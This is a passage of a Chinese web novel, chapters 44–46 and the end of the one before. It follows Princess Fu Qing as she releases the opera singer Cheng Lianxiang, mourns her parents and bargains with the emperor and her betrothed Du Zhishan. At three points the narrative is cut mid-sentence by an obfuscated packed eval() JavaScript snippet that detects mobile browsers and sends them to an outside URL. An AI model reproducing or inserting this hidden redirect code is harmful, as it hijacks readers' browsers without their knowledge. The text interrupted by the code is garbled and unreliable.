薛贵妃摇头,笑着对花露说:“你瞧瞧,这真是个不解风情的。陛下特意给我说,那些聘礼都是杜博士亲自准备的,连杜家祖传的玉镯都放进去了,你怎么也没打开看看?” “玉镯?”这件事也出乎了苻庆的意料,本以为自己和杜至善不过是同盟罢了,却没想到对方竟然将这戏做的如此周全。“是我疏忽了,一会回府我就去查看一下。” 薛贵妃点头,“杜至善这样做至少说明是个有责任感的好孩子,咱们也不能少了礼数。” 既然话已经说到了这里,苻庆咬咬牙,福身拱手说道:“姨母,此番进宫我是想求姨母能够将程怜香的身契给我,既然我大婚在即,他也就不可能继续留在府中了。我想着不如还他自由,放他离开吧。” 薛贵妃先是一愣,继而轻轻搀起苻庆。 “怎么忽然想通了?” 苻庆摇头,“只是觉得确实如同姨母所说,咱们也不应当丢了礼数。” 好在薛贵妃并没有仔细询问苻庆和程怜香究竟发生了什么,只是吩咐花露去宫正司赶紧将程怜香的身契拿回来。 “姨母,我这样做会不会给你添麻烦?” 薛贵妃笑一笑,抬手轻轻抚过苻庆的额头。 “傻孩子,不论你做什么,姨母都只会站在你身后。”苻庆感受到薛贵妃身上熟悉的味道,“只要庆儿觉得不好,姨母一定觉得也不好。” 看着薛贵妃的脸,苻庆忽然想起母亲曾经告诉自己姨母参加选秀乃是皇帝特意下旨,而这一切的缘由皆是由于当时京城无人不知薛家小女儿生了一张过分好看的脸。 下一霎,话已经脱口而出。 “姨母,您是什么时候喜欢上陛下的?” 薛贵妃愣了一下,随即露出一个微笑。而苻庆后知后觉发现自己问了个多么僭越的问题,赶紧屈膝跪下,“姨母恕罪,是我胡说了。” “这怎么能算是胡说?庆儿长大了,马上是要成婚的人了,问这些话很正常。”薛贵妃说话很温柔,伸手轻轻将苻庆拉起,带着苻庆走到窗边的贵妃榻坐下。 贵妃榻旁边的茶几摆了花樽,里头插着一支桃花。桃花的味道淡淡的,却是十分好闻。苻庆闻着桃花的花香,看着薛贵妃温柔的笑颜,憋在嘴边的话便不知不觉说了出来。 “姨母,我只是想知道,您说若两个人相处时间久了,会不会就能够爱上对方?” 薛贵妃歪歪头,“庆儿是在说谁,是你府上的那个小戏子,还是杜博士?” 苻庆犹豫一霎还是决定说谎,“自然是杜博士。” 薛贵妃看破不说破,“那庆儿究竟是想要杜博士喜欢你,还是不喜欢呢?” 苻庆垂眸思索片刻,“姨母,说实话我不知道。这桩婚事太突然了,我感觉我好像还是什么都不明白。” 薛贵妃看向窗外,一缕阳光执着地透过宫墙和窗棂照进晏呢殿内,轻柔地扑在薛贵妃脸上。 “不会,永远不会。” 苻庆第一时间并没有反应过来,迷茫地看向薛贵妃。 薛贵妃目光炯炯,看着桌上盛开的桃花。 “只要你第一眼不肯喜欢的人,即便相处时间再久,也绝不会喜欢上对方。” 直到回府的马车上,苻庆仍然在琢磨薛贵妃对自己说的话,按道理来讲薛贵妃已经将话说得足够明白了,但不知道为什么,苻庆却反而听不懂。 或者说,苻庆是不愿意听懂。 回到公主府,正看见一辆朴素的马车停在公主府门口,苻庆有些奇怪,扶着松醪的手走下马车。 “这是……”话音未落,苻庆便瞧见一个熟悉的身影站在门口,正昂着头指挥人把东西搬上马车。 “小秋?” 程清秋见苻庆回来,俯身拱手行礼。“小人见过公主。” 苻庆有些错愕,“你怎么来了?” 程清秋扫了一眼地上排队等着搬上马车的箱子,“公主,我是奉师父之命,带着几个师弟来替师哥搬东西的。” “搬东西?”苻庆一愣,“程怜香要搬到哪去?” 程清秋有些疑惑地看向苻庆,一边眉毛微挑。“公主可真是贵人多忘事,我师哥不是已经被您逐出府去了吗?那自然是搬回和春班住去了。” 苻庆眉头微皱,“我何时将他逐出府了?他的身契我这才刚从宫中取出来呢。” “那他今早怎么天都没亮便回去了?瞧着还失魂落魄的。师父看见心疼得很,赶紧叫他回屋休息,把我赶来收拾他的东西。”程清秋想到今早伴随着雾气一同出现在院子里的程怜香,不自觉努了努嘴。 苻庆这才明白程怜香是悄悄离开了,看来昨天自己的话真的对程怜香伤害很深,心里一时五味杂陈。但面上却还是风平浪静的,挥手示意松醪将身契递给程清秋。 “既然如此,你便将身契一同拿回去交给程怜香吧。我还替程怜香准备了点其他东西,一会松醪预备好了会一同送过去。”苻庆瞥了眼那驾马车以及忙着搬东西的小男孩们,他们瞧着也就十来岁的年纪,此时搬东西看起来还有些费力。苻庆忽然想到程怜香在同年纪说不定也是这样过来的,他瞧着白白瘦瘦的,也不知道有没有这么大力气。 “松醪,你去府里多叫几个人,用公主府上的马车送他们回去。”说完,苻庆转身回了翠华庭。 松醪留在门口帮忙,翠华庭此时静悄悄的,除了苻庆只有几个站在廊下候着的婢女。苻庆走进屋内坐了一会,莫名觉得心里空落落的,走出来招呼一个婢女走过去,半晌却又说不出个所以然。 看着那个婢女疑惑的眼神,苻庆最终憋出来一句,“你去问问厨房有没有碧涧豆儿糕?” 丫鬟走后,苻庆回到屋内坐下,看着那张桌子,脑子忽然想起每次自己从宫中归来,都能看程怜香坐在此处等待自己的样子。 她那时候并未觉得怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446133|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,可一想到今后连这样的事情都已经是奢望,瞬间感觉心好像沉到了谷底。 正坐在圈椅中愣神,忽然看见一个熟悉的身影从门外走进,苻庆本能地站起身,却发现是程清秋走了进来。 “公主,马车已经装好,我是来向公主辞行的。” 苻庆偏过头遮住眼底的落寞,“好,路上慢点。” 程清秋顿了顿,却还是忍不住说出:“公主,我知道您是金枝玉叶之躯,在您眼中或许我们都不过登不上大雅之堂的玩意儿,但您或许不知道,像我们这样的玩意儿也是有心肝的。” 苻庆看向程清秋,眼睛中流露出疑惑的眼神。 程清秋仔细地盯着眼前这个身着华服的女人,“我师哥是个傻子,菩萨心肠不说,还很容易相信别人。今早回去我便瞧出来他应当是又被骗了,只是没想到金尊玉贵的公主竟然也有兴趣拿我们解闷。” 苻庆已然听出程清秋的弦外之音,别过眼睛说道:“小秋,有些事情不是你想象的那样。” “那是什么样?当初我师哥入府明明是被你逼迫的,可如今呢?你知道他今天是什么模样回去的吗?不知道的还以为他是丢了魂!公主殿下,难道这就是你想看到的结局?你从一开始就打定主意要这样对待我师哥,这样伤害我师哥?反正最后你有的是钱,只要把金子银子砸下来,我们便再说不出其他了。”程清秋的声音不自觉地变大,又很快意识到这样不妥,变成了压低声音的质问。 苻庆的注意力却是在程怜香的状态上,有些着急地问道:“那程怜香现在到底怎么样了?要不要叫大夫去看看?” “不必了公主,像我们这样的微末之人是没资格得到公主垂怜的。师哥如今既然已经回到和春班,日后便又是我们和春班的人了,他的身体健康自是由我们负责。”程清秋俯身行礼,“苻庆公主,小人告辞了。” 程清秋刚踏出房门,婢女便端着碧涧豆儿糕走进来。看着桌上摆着的翠绿色点心,苻庆挥手示意婢女退下,接着自己一个人坐在圈椅上开始缓慢地咀嚼起点心来。 松醪走进来的时候,最后一块点心已经被苻庆下了肚子。苻庆坐在暗处,松醪只能隐约觉得苻庆的脸色有些瘆人。 “公主。” “东西都送过去了吗?” 松醪点头,“程伶人不肯见客,奴婢将东西交给了程班主。” “好。”苻庆站起身,松醪终于能够看清楚苻庆的表情。是意料之外的平常,只是眉头微微皱着,眼尾向下撇着,带着点苦相。 松醪不着痕迹低下头,“公主还有旁的吩咐吗?” 苻庆点头,“你去选一处院子,要清净雅致的,之后给驸马居住。” 松醪一愣,没想到苻庆已经开始筹备成亲之事,转瞬之间又觉得合理,立刻点头道:“奴婢这就去办。” “等等,还有一件事。” 松醪看向苻庆。 苻庆看向桌上的空点心盘子。 “碧涧豆儿糕我吃腻了,你去跟厨房说,以后不许再做了。” 松醪明白苻庆这是打定主意要同程怜香彻底告别了,点头称是后端着盘子退了出去。 苻庆走到院内,玉兰树的花朵凋败极为迅速,几乎一夜之间便掉了个干净,只余下树叶郁郁葱葱,好像那些花朵从不曾存在过。 苻庆深呼出一口气。 她也可以的,也可以当做那些事情都不曾存在过。左不过几个月时间,与她的漫长人生比实在不值一提。 更何况对于她现在来说,最重要的事情应当是复仇。而其余的一切,都是可以舍弃的。 44. 忌日 这几日松醪侍奉得极其小心,有事没事都要抬眼瞧一瞧苻庆的脸色。原因无他,对于平日里活泼惯了的苻庆,这几日实在是太过于消停了。 程怜香离开后,苻庆几乎连翠华庭都很少离开,每日不是坐在廊下看着日影发呆,便是在书房内看书。整座公主府陷入一种不同寻常的沉默中,连带着下人都不复平日的活泼,做起事来生怕出一点动静。 起初松醪还当这是暴风雨之前的沉默,提心吊胆了几日,却发现这暴风雨来得实在是慢,接连几日还是风平浪静,别说一道雷,便是一滴雨点子都没有。 而与公主府这边的情况截然不同,和春班却是接连几日都处于风口浪尖上一般。到底是戏班子聚集之处,消息泄露得格外快,程怜香回到和春班的事情没两日便在京中又传遍了。一时之间和春班和戏园子外挤满了看热闹的人,大家一方面想要知道程怜香如今究竟变成了怎样一副鬼样子,一方面又想通过程怜香探听到一点公主府内的事情。 大家蹲了三日,终于蹲到了程怜香将在下月重新登台的消息,心满意足之余,捎带着将下个月的戏票抢购一空,让和春班瞬间成为整个京城最卖座的戏班。 这样的消息自然是能够传到松醪耳中的,但要不要传到苻庆耳中却让松醪犯了难。若平日里,单从苻庆的话语中便能瞧出她到底是不是真的放下这件事情了。但如今苻庆一反常态一句话都不说,瞧着像是没走出来,可这份冷静又实在太过利落,唬得如此了解苻庆的松醪都是一愣。 更何况,过几日便是四月初八了,松醪明白,这是苻庆一年中最难熬的几日。 四月初八清早,苻庆早早地起了床,由松醪伺候着穿上一袭素白色衣裙,用过早餐便急匆匆往宫中走去。 由于苻坚将军与夫人的牌位如今仍然供奉在永福殿,因此到了忌日这天,苻庆仍然要回到宫中为父母上香。 “公主,中午可要去看望贵妃娘娘?” 苻庆昨晚并没有睡好,其实有些昏昏沉沉的,但想到自己也是许久未进宫了,理应去看望姨母,便点头答应了下来。 进入永福殿,苻庆从僧人手中接过香,恭恭敬敬揖了三次礼后,跪在了蒲团上。 松醪跪在苻庆侧后方,从她的角度看去能明显看出苻庆瘦了,纤细的脖颈被素白色的衣领包裹着,有种脆弱的感觉。 自生辰宴后,这还是苻庆第一次到永福殿中向父母上香,苻庆抬起头看着写有父母名字的牌位,明明感觉有一肚子的话要说,最终却又不知该从何说起。 “爹,娘,你们放心吧,我会照顾好我自己的,女儿已经长大了。” 苻庆露出一个微笑,仿佛看到爹娘就站在眼前,低头慈爱地看着自己。 爹,娘,咱们家的仇,女儿是一定会报的。 心中默念完这句话,苻庆忽然想起皇帝着急让自己出嫁的样子,他是如此地迫切想要让自己与杜至善尽早完婚,想要让朝堂赶快因为苻家与杜家的联姻而重新变得团结。他本以为一面让苻庆升为长公主,一面又让杜家尚公主,便可以做到让两方都说不出皇家半分错处,都能够感谢天恩。 然而,他却连最基本的事情的忘记了,那便是四月初八乃是苻家灭门的忌日。 强迫苻家的女儿在父母忌日之后出嫁,他难道还天真地以为苻庆会对他感恩戴德吗? 出了永福殿正准备让腰辂前往晏呢殿,便被一个小太监拦下了。 小太监垂着头,开口说道:“公主,陛下有请。” 苻庆回身看了松醪一眼,松醪也有些奇怪,这已经是第二次皇帝趁着苻庆要看望薛贵妃之时叫走她了,虽说也有可能是巧合,但不知为何总感觉皇帝在有意不让苻庆见到薛贵妃。 “左右紫宸殿你也不能入内,你便先去晏呢殿等我吧。”苻庆微笑着说道。 松醪知道这是苻庆有意为之,领命后往晏呢殿走去,而苻庆坐上腰辂,很快便到了紫宸殿。 走进去时皇帝正在罗汉榻上倚着翻看奏折,不过瞧着心情不错,见苻庆跪下行礼还颇为慈祥地让她赶紧起身。 “儿臣谢过陛下。”苻庆站起身。 皇帝端过茶盏浅啜一口,又招手让苻庆坐在下首的圈椅上,苻庆也不客套,直接挨着圈椅的边坐下了。 “多日不见,朕怎么瞧着庆儿像是瘦了?” 苻庆本以为皇帝至少会问一句自己去永福殿上香的事情,谁知却是这样的开头,回过神来回答道:“儿臣不敢欺瞒陛下,这几日确实有些心神不宁,所以可能瘦了些。” 陛下眉毛一挑,但并未露出任何担忧之色,嘴上问道:“怎么回事?可召太医看过了?朕这就让太医院派人过来如何?” “不必。”苻庆摇头,“儿臣并非身体不适,心病便是最好的太医们也是诊不出来的。” 皇帝露出笑容,安抚着苻庆道:“朕明白,总归你才十六岁,大婚前有些紧张也是正常的。不过你放心,礼部已经将你婚仪种种都准备妥当了,虽然你姨母如今身在病中不好操劳,但有朕亲自盯着他们,定会让你风风光光地出嫁。” 既然知道姨母还在病中,为什么还次次阻拦自己看望姨母呢。苻庆并未表现出来,只是跪在地上应承道:“儿臣感谢陛下大恩,也替姨母感激陛下体谅。” 皇帝笑着摆手,“这孩子,咱们一家人不说如此见外的话,快起身吧。” 苻庆刚站起身,皇帝便继续说道:“其他事情礼部商讨皆可,只是主婚人一事上,朕有些烦恼。” 苻庆一愣,按道理来说女方主婚人一般都是由父亲或者祖父担任,她是孤女,苻家也已经分家多年,如此看来确实难以寻找到一个合适的长辈。 “原先朕本想着由宁国公为你主婚,宁国公与你父亲也算是旧相识,甚至还有赏识之恩,实在是再合适不过。可是偏偏宁国公自前段时间称病告假后,身子便时好时坏,他不敢大意,怕让你在婚礼上留下遗憾,因此便请求朕另寻他人为你主婚。” 苻庆眼睛看着地板,脑子里思索着皇帝说这些话的缘由。毕竟即便是苻庆自己都明白,前段时间的风波虽说如今看来已经是平稳落幕,宁国公府也接受了陛下的赐婚,但梁子始终是结下了。何况她还刚刚以陛下的说客身份劝说过宁慈心接受陛下赐婚,宁国公此时不恨自己已经不错,怎么可能还愿意为自己主婚呢? 而这么简单的道理,陛下又怎么会想不明白呢? 皇帝手指抚过额头,颇为苦恼的捏了捏自己的眉心。“朕感念你父亲生前功勋,生怕选择的主婚人不好,辱没了你的身份,因此颇费了一番心思。” 苻庆配合着点头说道:“儿臣与父亲都并非在意此等繁文缛节之人,只怕这般劳心伤神损害陛下龙体。” 皇帝微笑,瞧着苻庆的眼神透露出满意的神情。“朕早说过了,苻坚是个忠心的人,教出来的孩子自然也是忠心,因此朕才愿意封你为公主甚至是长公主,也算是朕对你父亲九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446134|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉之下的安慰吧。” 苻庆笑着点点头。 “最后朕左思右想,还是觉得应当找一位皇亲国戚才能匹配你的身份,所以朕找了赵王。” “赵王?”苻庆一愣,条件反射般抬头看向皇帝,又在与皇帝四目相对时猛然反应过来,连忙低下头去。 生辰宴上的景象仍是历历在目,赵王话里话外对自己父亲乃是毫无半分尊重,甚至是一而再再而三口出狂言,让这么一个人担任自己的主婚人,替自己的父亲做那个重要的位置,这本身就已经让苻庆难以接受。更何况在成婚那日,苻庆可还要对主婚人下跪呢,这让苻庆如何能愿意? 皇帝自然能够看出苻庆的不满,却还是故意问道:“怎么了?你可是觉得有什么不妥?” 苻庆自然不能将真话说出,因此先是委婉地拒绝道:“陛下,儿臣说到底不过是苻家的一个遗孤,能够破格以长公主的规制操办婚仪已是僭越,怎么还能让赵王身为皇亲国戚来做主婚人呢?还望陛下收回成命,免得让百姓们觉得儿臣恃宠而骄,败坏了皇家名声。” “你放心,朕既然将这话说出去了,便不会更改。更何况你父亲的事迹在我大夏百姓中流传已久,谁不知虎贲将军骁勇善战、驻守边疆,乃是我大夏国的大功臣。你作为苻坚唯一的女儿,朕便是怎样嘉奖你都不为过,何来败坏皇家名声一说?”皇帝端起茶盏,这是要送客的架势了。 但此刻苻庆只想着无论如何都不能由得赵王来为自己主婚,因此继续说道:“陛下,可是赵王如今身兼数职,本已是案牍劳形,儿臣怎么敢再以一己之私欲劳烦赵王?” 皇帝摆手,“庆儿,你成婚并不仅是你与杜至善二人之事,同时也是朝堂上的大事,怎么能算是一己私欲?而且是朕要求赵王为你主婚,他还能有什么怨言?” 苻庆见皇帝不肯松口,心中有些着急起来,慌忙说道:“陛下,赵王与我父亲不睦良久,想必也是不愿意为我主婚的,何必苛求于他呢?” 听到这,皇帝忽然眯起眼睛,慢悠悠地说道:“胡说,此事朕早已经告知赵王,他答应的很是爽快,并未有任何难色,怎么会是苛求呢?反而是庆儿你,似乎是百般不愿啊。” 苻庆已经听出了这话中的警告之意,千言万语堵在嘴边,最终只能又咽回肚中。 “庆儿,朕明白你长大了,有了自己的心思,朕本不想多说,可奈何你接连几次都胡言乱语,让朕颇有些不悦。” 苻庆一愣,连忙俯下身跪在地上。 “你父亲牺牲时你才多大,怎么会知道你父亲与朝中大臣关系,甚至还说出这许多没头没脑的胡话来?”皇帝话锋一转,“一开始我还以为是你浑说,可现在却不得不怀疑莫不成是这些年你在宫中,听到什么人对你嚼舌根子了?” 自己这些年都是住在晏呢殿,是由姨母亲自照料着长大的,皇上这么说的暗示不言而喻。若是说苻庆自己怎样都行,但却万万不能牵扯到薛贵妃身上。 苻庆急忙说道:“陛下息怒,并没有人对儿臣说过什么,这些胡话都不过是儿臣瞎猜的,儿臣现在知错了,还请陛下责罚。” “既然知道是瞎猜的,往后就不要再说了。”皇帝好像还算是满意苻庆认错的态度和速度,靠在隐囊上打了个哈欠,“过几日礼部还会派人到你的公主府做一些准备,你到时听话就好,明白了吗?” 事已至此,苻庆还能说什么。 “儿臣遵旨。”苻庆埋着头说道。 45. 分院 走出紫宸殿,苻庆站在台阶之上惊魂未定,只觉得胸口还有一块大石头堵着。 腰辂在台阶下等候着,但苻庆张了张嘴,却并没有说出什么。 刚才皇帝刚刚暗示过自己,虽说不明白为什么,但苻庆已经能够感觉到皇帝似乎对姨母有些不满,若此时自己还要前往晏呢殿,难保不会让陛下觉得自己是想要将在紫宸殿谈话的内容告知姨母。 苻庆忽然意识到,或许这便是皇帝的真正目的,通过这样的方式强迫自己同晏呢殿减少沟通。 苻庆轻轻捏了捏自己的眉心,只觉得脑袋有些疼痛。 “派个人去晏呢殿,告诉薛贵妃我还有些事,便不过去打扰了。我会在宫门处等着松醪,让她快些过来。” 待松醪到达宫门时,远远地便看见苻庆一个人站在宫门口,高高的宫墙赤红,像是一团火苗包裹着苻庆。 “公主。” 苻庆没有任何迟疑,低声对松醪说道:“我要见杜至善。” 松醪抬头瞧了苻庆一眼,见对方脸色凝重便明白此事非比寻常,点头答应后又如上次一般和苻庆在宫门处分开,独自前去通知杜至善消息。 还是醉仙居,还是天字号雅间,杜至善推门而进时,苻庆又是在一个人自斟自饮。 这次二人都默契地忽略了无用的客套,苻庆头也不抬对杜至善说道:“坐吧。” 杜至善也看出苻庆脸色不好,撩起官袍坐下后,只是沉默着等待苻庆开口。 两杯酒下肚,苻庆才感觉脸色稍稍缓和过来,抬眼看向杜至善,对方只是坐在那里入定。 若换成程怜香,此时只怕早已经叽叽喳喳问个明白了。苻庆闭闭眼睛,轻轻将这些念头从脑子中赶出去。 “今日唤杜博士前来,也是为了答谢你。”苻庆斟一杯酒递给杜至善,“聘礼我都看过了,杜博士做事周全滴水不露,我很是感激。” 杜至善微笑着接过酒杯,“再怎么说也是陛下赐婚,下官自然没有敷衍的道理。” 苻庆点头,“你我心知肚明,这场婚事能让陛下满意其实很简单,但连我姨母都赞不绝口便说明杜博士是真的费心了。你知道我姨母对于我来说有多重要,你让我姨母高兴,我会将这份恩情永远记在心上。” 杜至善在准备聘礼的事情便想到这层关系,既然聘礼要送到宫中,便必然会经过晏呢殿。皇帝也许对聘礼的内容并无要求,但薛贵妃如此宠爱苻庆,必然是会在意这些的。 而自己好好准备聘礼,便也是向晏呢殿示好。 “我知道你让我姨母高兴,也有想要笼络太子之意。”苻庆承诺道:“你放心,太子一向尊重杜太傅,只要你有心,杜家与东宫必是牢不可破的同盟。” 杜至善却轻轻摇头,“公主,我之所以认真准备聘礼确实是想让薛贵妃高兴,但并不是为了太子。” “不是为了太子?”苻庆的眉头轻轻皱起来,“那你是为了什么?难道东宫还不能满足你的要求吗?” “我的好公主,我又不是与太子成婚。”杜至善露出一个笑容,眉眼弯弯地看着苻庆,“我自然是想让你高兴。” 苻庆愣了一下,杜至善这句话猛地说出来还是有些冲击的。苻庆也不是傻的,自然能够听出这是杜至善在对自己示好,只是苻庆并不明白杜至善这突如其来的示好是为了什么。 “当然,公主不必将此事放在心上。你我既然是盟友,便应当也算是朋友。我能够在力所能及的范围内让我的朋友高兴,是一件让我很满足的事情。” 苻庆这才发现杜至善笑起来的时候眼尾会有细细的眼纹,为他这张总是面无表情甚至有些古板的脸上增添了一点趣味。 一旦发现了眼纹,苻庆忽然感觉杜至善的五官在自己眼前清晰了起来。与程怜香不同,杜至善的五官并不柔和,而是有一种隐约的锋利,甚至在看人的时候,眼神中都带着一点审视和势在必得的感觉。 苻庆轻呼一口气,“不管怎样,至少我觉得这样的开局对我们的计划是有利的。你放心,之前我答应你的事情也绝不会食言,我会让所有人都知道,我与你杜至善已经是一荣俱荣一损俱损的关系了。” 杜至善却好像对于这件事并不在意,只是轻轻点了点头,甚至还有闲心端起酒杯抿了一口。 “除此以外,还有一点。”苻庆顿一顿,“杜博士,既然如今你我是盟友,那我认为便实在不应当发展出过分亲密的关系,这会影响我们对时局的判断,对我们彼此的切身利益也不公平。” 听到这话,杜至善忽然抬起头,眼睛定定地看着苻庆,“我听说,公主已经将那个戏子送回戏班子去了。” 这话说的过于没头没脑,苻庆一愣。 “这倒是……” “我知道公主这样做是为了保全下官的颜面,既然公主如此诚心待我,我自然也会认真对待公主。”说罢,杜至善轻轻拱手,“公主放心,你我成婚后下官会与公主分院别居,绝不会干涉公主的日常生活。” “分院别居?”苻庆只感觉自己的脑袋有些转不过来,“杜博士这话是什么意思?你应当知道我是绝不会到杜……” 杜至善打断了苻庆的话,“公主放心,下官的意思是说,我会搬到公主府居住。” 这下苻庆是真的说不出话了。 她本以为杜至善也就三五日到公主府一趟,却没想到对方居然愿意直接住到公主府来。这对于二人给外界做样子自然是好的,可是却也意味着苻庆需要时时刻刻与杜至善周旋。苻庆当然想拒绝,可偏偏又想不到什么拒绝的话。 半晌,苻庆才支支吾吾开口,“你父母可愿意?” 杜至善露出一个人畜无害的微笑,“你我婚期在即,到时公主便会知道我父母究竟是否同意了。” 这话倒是很有道理,苻庆不再继续追问,反正这是杜至善与杜家之间的事情,若他们二者谈崩了,说不定自己还能渔翁得利。 “既然如此,旁的话我便不多说了,”苻庆端起酒杯,“杜博士,这杯酒祝我们合作愉快。” 杜至善端起酒杯与苻庆轻轻一碰,“公主,我知道今日对您来说过得十分艰难。但您放心,日后我会用实际行为让您看到,我会是您最好的盟友。” 苻庆只感觉今日杜至善好像吃错药了,要不然怎么会一次次说出这些令自己反应不过来的话。毕竟连皇帝都记不住或者是说完全不在意今天是什么日子,但杜至善却能够知道,并且用这样委婉的方式安慰自己。 至少说明,这场结盟对于他来说,也是认真的。苻庆心中想着,饮尽了杯中的酒。 回公主府的路上,苻庆又恢复到了一言不发的状态,松醪摸不清苻庆心中所想,只能陪着沉默。 快路过朱雀桥的时候,马车的帷子忽然被掀起来了。 “松醪,改道走朱雀桥。” “朱雀桥?”松醪挥手叫停了马车,靠近窗户问道:“公主可是有什么要去的地方?” 苻庆欲言又止,最终只是说:“没有,就想在外面多待一会。” 松醪不明所以,但还是点头应下。 马车继续前进。 朱雀桥这边是京城的商业繁华之地,各种商户酒肆林立,沿路叫卖的小商贩众多,其实并不适合大型马车通行。松醪一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446135|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边侧身避开商贩肩膀挑着的扁担,一边担忧会不会有人突然冲出来冲撞了马车。正在这时,忽然听到身边有行人低声说道:“你看到了吗?那个被公主抢走的小倌,明日便要重新登台唱戏了。” “当然了,我那戏票早就买好了,明日咱们可得早点去,否则就挤不到前排了。” “正是,正是。” 松醪一愣,随即看向窗户的方向,窗帷子静悄悄的,一丝动静都没有。松醪此时才意识到朱雀桥这边同样也紧挨着和春班的院子,或许这才是苻庆突发奇想要走这条路的缘由。 但是走过来了,帷子也不掀开,安安静静一句话都没有,这样的路过也有什么意义呢?松醪在心中叹气,自家公主一贯是这样子,即便内心再难受,外表上却还要装出一副什么事情都没有的样子。她知道这也是苻庆没法子,一个无父无母的孤女生活在深宫大院中,将这些委屈说出来也不一定能够解决,可是如此憋闷着,真是让松醪替她心痛。 而此时车厢内的苻庆,正定定地看着帷子。 哪怕是连窗帷子都不掀起来,但苻庆知道程怜香就在附近。 走朱雀桥确实是为着和春班在这边,和杜至善谈完话更加让苻庆意识到她有些思念程怜香,但是马车走过来了才让苻庆想到,这根本没有任何用处。眼见着婚期将至,而程怜香也马上要重新登台演出。两个人的生活都要重新回到正轨,由于自己一时任性发生的错误即将被改正。 这时候苻庆不论再做什么,都是一种罪过,是一种不负责任的行为。 她知道自己现在最应当做的事情是什么,也知道做什么是对的什么是错的,但对于现在的苻庆来说,她急需做点什么,好让自己烦躁的内心重新冷静下来。 苻庆不得不承认,从前程怜香在的时候,每每和程怜香待在一起,苻庆都能够从痛苦的身世和复杂的朝局中逃出来一会,就好像被铁链子锁在屋中的人好歹能够找到个窗户,把鼻子伸出来透透气。哪怕时间很短,但也聊胜于无。 可如今程怜香离开了,公主府中只剩下苻庆一个人,再也没有人告诉她即便是公主也是值得被同情的,也再也没有人能够听她发的牢骚,好让她能够短暂地脱下面具,当一会原本的自己。 那扇窗又关死了,一切又回归了平静。 “松醪,今日你看姨母情况如何?可是好点了?” 帷子并未掀开,松醪愣了一下回复道:“贵妃娘娘瞧着精神头比之前好多了,花露也说娘娘吃药很是踏实,要公主千万不要记挂着。” 苻庆又想起紫宸殿中皇帝话中暗含的威胁之意,她并不明白皇帝的恶意是从何而来的,毕竟在她眼中皇帝虽说三宫六院,但姨母一向温柔可人,是万万不可能与陛下起什么冲突的。 “松醪,你说陛下是真的喜欢我姨母吧?” 松醪没想到苻庆忽然会问出这种话,颇有些意外。 “公主这是忽然想到什么了?娘娘如今已经是贵妃,七皇子也已经做了太子,陛下必然是看重贵妃娘娘的。” 松醪的话说的有道理,帝王之爱实在是虚无缥缈看不见摸不着,与其思索是不是喜欢,还不如这些尊位和地位来得实在。毕竟如今看来这后宫之中地位最稳固的还是姨母,只要东宫之位能够被握在手中,皇帝便永远不可能同姨母翻脸。 回到公主府已经是临近傍晚,苻庆只感觉浑身乏累,换下衣服后很快便上床安歇了。出宫后还有这一个好处,便是不必再担忧宫规,可以不必看时间睡觉,否则即便再不舒服这个点也只能坐在罗汉榻上熬着。 苻庆实在是困极了,翻个身便去梦里会周公了。 46. 信物 而此时的晏呢殿,薛贵妃仍然在抄写经书。 花露虽说站在一旁轻轻研磨,但嘴里还是忍不住劝道:“娘娘,时候不早了,今日便先写到这吧。” 见薛贵妃并不说话,花露继续劝道:“今日松醪还刚过来劝过娘娘注意身体,您若这样不爱惜自己,下次奴婢可要将实话告诉公主了。” 薛贵妃终于写完这一页的最后一个字,示意花露将这张拿起来整理好,之后无奈地摇头放下了笔。 “好,今日便先写到这吧。” 花露赶紧将笔墨收好,薛贵妃坐到一旁的贵妃榻上休息,坐下时没留神碰到刚放过血的手指,疼得发出“嘶”的一声。 花露从里屋回来时已经拿了金创药,涂药的时候看着薛贵妃手指上许多还来不及愈合的小伤口,花露有些心疼。 “娘娘,您说您这是何必呢?做个样子不就好了吗?” 薛贵妃笑一笑,“胡说,佛祖的事怎能只做样子?虽说我这样做确实是为了让那人对我放下戒心,但同样这也是我与佛祖之间的约定,我求佛祖能够保佑庆儿和嘉儿都能够平安顺遂。” 花露收起药膏,“娘娘,东宫那边来人报,说太子这几日学习很是认真,只是有些咳嗽。” “傻孩子,为了学习连身子都不顾了。”薛贵妃摇头,“你让太医院去东宫请个平安脉,顺带着送些止咳的药,别教那位发现了。” “娘娘放心。” “正好,你差人告诉嘉儿,便说我有事要找他,要他想办法这几日回来看我一次。” 花露点头,“距离太子殿下上次回晏呢殿可是有些时候了,想来陛下是不能再阻拦了。” 薛贵妃冷笑一声,“他不许庆儿回来看我,可是嘉儿是我生的,孝道人伦在前,难道他还能再想出旁的办法吗?” 